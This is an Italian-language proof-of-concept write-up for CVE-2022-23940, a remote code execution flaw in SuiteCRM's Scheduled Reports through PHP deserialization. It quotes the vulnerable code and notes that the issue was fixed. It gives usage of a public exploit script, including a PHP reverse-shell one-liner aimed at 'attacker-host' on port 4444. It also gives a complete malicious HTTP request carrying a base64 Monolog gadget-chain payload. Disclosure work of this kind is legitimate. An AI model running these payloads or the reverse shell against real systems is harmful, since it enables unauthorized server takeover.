
PoC per CVE-2022-23940
PoC per CVE-2022-23940 aka SCRMBT-#187 - Esecuzione di codice remota autenticata tramite Rapporti Pianificati in SuiteCRM (<= 7.12.4) e SuiteCRM-Core (<= 8.0.3).
Questa vulnerabilità è stata segnalata a SalesAgility e corretta in SuiteCRM 7.12.5 e SuiteCRM Core 8.0.4. Nelle versioni interessate, qualsiasi utente con autorizzazione per creare Rapporti Pianificati può ottenere l'esecuzione di codice remota e compromettere il server. Se stai utilizzando versioni precedenti di SuiteCRM, ti consiglio vivamente di aggiornare.
Installazione
python3 e pip installati.git clone https://github.com/manuelz120/CVE-2022-23940.gitpip3 install -r "requirements.txt"Opzioni disponibili:
(.venv) ➜ CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2022-23940
Esempio di utilizzo:
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
Gli utenti che possono creare Rapporti Pianificati (possono creare voci nel modulo AOR_Scheduled_Reports) possono eseguire codice arbitrario sul server sfruttando una vulnerabilità di deserializzazione PHP.
Il modulo AOR_Scheduled_Reports memorizza i destinatari email del report come stringhe serializzate e codificate in base64 nel database. Quando si ricevono i dati per un report pianificato, la colonna menzionata viene deserializzata. Se gli attaccanti riescono a inserire contenuto arbitrario in questa colonna, possono ottenere RCE attraverso vari gadget di deserializzazione PHP (nei miei test ho usato Monolog/RCE2 dal tool phpggc).
Il payload può essere memorizzato nel database utilizzando la chiamata save legacy del modulo AOR_Scheduled_Reports. Il server presume erroneamente che il parametro email_recipients sia sempre un array. Tuttavia, se un client malintenzionato passa semplicemente email_recipients come stringa, i dati verranno memorizzati nel database così come sono. Una volta deserializzati, i gadget vengono eseguiti sul server e si ottiene l'esecuzione di codice remota.
L'implementazione vulnerabile della funzione save nella classe AOR_Scheduled_Reports. Più avanti, possiamo vedere che get_email_recipients chiama unserialize sul contenuto memorizzato nel database:
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php
public function save($check_notify = false)
{
if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
$this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
}
return parent::save($check_notify);
}
public function get_email_recipients()
{
$params = unserialize(base64_decode($this->email_recipients));
// ....
Una richiesta di esempio per creare un report pianificato malevolo è simile a questa (se decodifichi il valore per email_recipients, puoi vedere che esegue semplicemente touch /tmp/hacked):
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999
module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A
Se guardiamo il codice corretto, possiamo vedere che gli sviluppatori hanno aggiunto una nuova funzione parseRecipients che analizza e convalida i dati memorizzati nel parametro email_recipients, prima di salvarli nel database. Solo se il valore corrisponde al formato previsto, i dati vengono memorizzati. Pertanto, la deserializzazione RCE non funziona più:
